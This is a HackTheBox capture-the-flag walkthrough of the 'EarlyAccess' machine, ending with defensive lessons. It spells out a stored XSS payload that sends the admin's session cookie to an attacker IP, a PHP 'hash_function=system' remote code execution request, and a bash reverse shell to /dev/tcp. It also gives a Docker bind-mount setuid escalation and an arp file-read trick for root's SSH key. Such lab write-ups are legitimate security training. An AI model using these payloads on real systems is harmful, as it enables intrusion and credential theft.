Skip to content

EarlyAccess

Box Info

Platform: HackTheBox, OS: Linux (Debian 10, multi container), Difficulty: Medium in my notes, officially Hard, Released: 2022-02-12, IP: 10.10.11.110 , earlyaccess.htb

Attack Path

  1. Laravel game site. Register, then set your username to a stored XSS payload (the profile update skips the registration blacklist). Message the admin, steal earlyaccess_session.
  2. As admin, the /key page talks to an internal api:5000 that validates game keys with a magic_num that rotates every 30 minutes (range 346 to 405). Generate all 60 candidate keys and submit until one validates. A valid key unlocks dev.earlyaccess.htb (admin : gameover).
  3. dev has /actions/hash.php, which takes hash_function and a debug=true flag. hash_function=system plus password=<cmd> is RCE as www-data.
  4. /home/www-adm/.wgetrc leaks the API password. api:5000/check_db echoes the container env, which contains the MySQL creds drew : XeoNu86JTznxMCQuGHrGutF3Csq5. SSH as drew for user.txt.
  5. drew’s ~/.ssh/id_rsa is for game-tester@game-server (172.19.0.4). /opt/docker-entrypoint.d/ on the web host is bind mounted into the game-server container and every script there runs as root at container start. Drop chmod +s /bin/bash, crash the game (curl 127.0.0.1:9999/autoplay -d 'rounds=-1'), the healthcheck restarts the container and runs your script. Root on the container.
  6. Crack the game-adm $6$ hash (gamemaster). /usr/sbin/arp has cap_setuid style empty capabilities, so arp -v -f /root/.ssh/id_rsa reads root’s key. ssh root@earlyaccess.htb.

Credentials and Flags

WhereValue
dev.earlyaccess.htb adminadmin : gameover
.wgetrc API credsapi : s3CuR3_API_PW!
MySQL / drewdrew : XeoNu86JTznxMCQuGHrGutF3Csq5
game-adm (cracked $6$)gamemaster
user.txt/home/drew/user.txt
root.txt/root/root.txt

Overview

EarlyAccess is a long multi container chain and it is officially a Hard box. The themes: stored XSS aimed at an admin (with a filter that only guards registration, not the profile edit), an API you have to reverse just enough to forge a valid game key, a PHP debug parameter that turns a hashing helper into call_user_func, and then a Docker pivot where a directory bind mounted from the web host into the game container runs its scripts as root. The last hop is a capabilities abuse (arp with file read as a privileged binary). It is a great box for practising “what container am I in, what is mounted, and what runs it”.

Related stored XSS to admin: Cat, Headless, Usage. Related PHP call_user_func / debug param RCE: unique here. Related container pivot via shared mount: EarlyAccess is the reference. Related capabilities abuse: Wifinetic (cap_net_raw), MonitorsTwo (capsh).


Full Walkthrough

Reconnaissance

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp  open  http     Apache httpd 2.4.38 (Debian)   (redirects to https)
443/tcp open  ssl/http Apache httpd 2.4.38 (Debian)
| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios
Service Info: Host: 172.18.0.102

Service Info: Host: 172.18.0.102

The web server sits in a Docker container on the 172.18.0.0/16 network. There will be more containers (a db, an api, and later a game-server on a different bridge). Note the internal IP whenever nmap leaks it.

Stored XSS to admin

Register an account. Direct registration filters <, > in the username, but the profile update does not.

profile -> username = <script>document.location="http://10.10.14.7/?c="+document.cookie;</script>

Then open a support ticket / message to the admin. When the admin views it (their panel renders your username), the payload fires and ships earlyaccess_session to your listener. Swapping that cookie into my own session is the whole trick, no password ever needed, and it drops me straight into the admin’s view of the site.

Admin key generation, then dev.earlyaccess.htb

The game key

/key submits to an internal http://api:5000. The validator computes magic_num from the current time (it changes every 30 minutes and lives in the range 346 to 405), and a key is KEY<magic_num>-<blocks> with a checksum. Since you cannot see magic_num, generate one key for every value 346..405 (60 keys) and POST each to /key/add until one is accepted. That key registers your account for the closed beta and unlocks dev.earlyaccess.htb, whose admin login is admin : gameover.

RCE on dev via the hashing helper

Now inside the closed beta, I go through every page a normal player wouldn’t see, since a “dev” vhost almost always ships debug tooling nobody remembered to strip before launch. dev.earlyaccess.htb has developer tools including /actions/hash.php:

POST /actions/hash.php HTTP/1.1
Host: dev.earlyaccess.htb
Content-Type: application/x-www-form-urlencoded

action=hash&password=id&hash_function=system&debug=true

Why this is RCE

The endpoint does roughly $result = $hash_function($password); and only runs it when debug is set (a leftover dev toggle). $hash_function is meant to be md5 / sha1, but it is not validated, so hash_function=system makes it system($password). Set debug=true and you have command execution as www-data.

action=hash&password=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.7/443+0>%261'&hash_function=system&debug=true

www-data to drew

Shell in hand, I check the usual dotfiles for stray credentials before reaching for anything heavier.

cat /home/www-adm/.wgetrc
# user=api
# password=s3CuR3_API_PW!

wget -O- -q --user=api --password='s3CuR3_API_PW!' http://api:5000/check_db
# prints the api container env, including:
# MYSQL_USER=drew   MYSQL_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5
ssh drew@earlyaccess.htb        # XeoNu86JTznxMCQuGHrGutF3Csq5
cat user.txt

drew to game-server to container root

drew’s home directory has another SSH key sitting in it, and the comment on the key tells me exactly where it’s meant to go. drew has ~/.ssh/id_rsa for game-tester@game-server. Find the container:

for i in $(seq 2 254); do ping -c1 -W1 172.19.0.$i &>/dev/null && echo up 172.19.0.$i; done
ssh -i ~/.ssh/id_rsa game-tester@172.19.0.4

The bind mount privesc

/opt/docker-entrypoint.d/ on earlyaccess.htb (writable by drew) is bind mounted into the game-server container at /docker-entrypoint.d/, and the container’s entrypoint runs every script there as root on each start. So from drew:

while true; do echo 'chmod +s /bin/bash' > /opt/docker-entrypoint.d/ex.sh; chmod +x /opt/docker-entrypoint.d/ex.sh; sleep 1; done

Then from game-tester, crash the node game so the healthcheck restarts the container:

curl 127.0.0.1:9999/autoplay -d 'rounds=-1'

After the restart, /bin/bash -p on the container is root.

Container root to root on earlyaccess.htb

Root inside the container is a means to an end, not the goal, so the next question is what that container shares with the host. /etc/shadow is the obvious first stop.

grep game-adm /etc/shadow
# $6$zbRQg.JO7dBWcZ$...
john hash --wordlist=rockyou.txt        # -> gamemaster
su game-adm

/usr/sbin/arp on the container has capabilities that let it read arbitrary files:

getcap /usr/sbin/arp        # = ep (or cap_dac_read_search)
/usr/sbin/arp -v -f /root/.ssh/id_rsa
# the key prints (with some parse-error noise); clean it up

Because /root is shared, that key is root@earlyaccess.htb:

chmod 600 root_id_rsa
ssh -i root_id_rsa root@earlyaccess.htb
cat /root/root.txt

Loot

FlagLocation
user.txt/home/drew/user.txt
root.txt/root/root.txt

Lessons and Takeaways

  • Blacklist input in one place, sanitise it everywhere. The registration filter meant nothing because the profile edit skipped it.
  • $variable_function($input) is call_user_func. Never let the callable name come from the request, and remove debug toggles before shipping.
  • Docker env vars are readable from any process in the container and from /proc, and API “debug” endpoints that echo the environment hand attackers every secret.
  • Bind mounting a host directory that another user can write into a container that runs its contents as root is a cross privilege escalation. Mount read only, or not at all.
  • getcap -r / on every host and container. cap_dac_read_search / cap_setuid on a small tool is root.

Related Writeups

References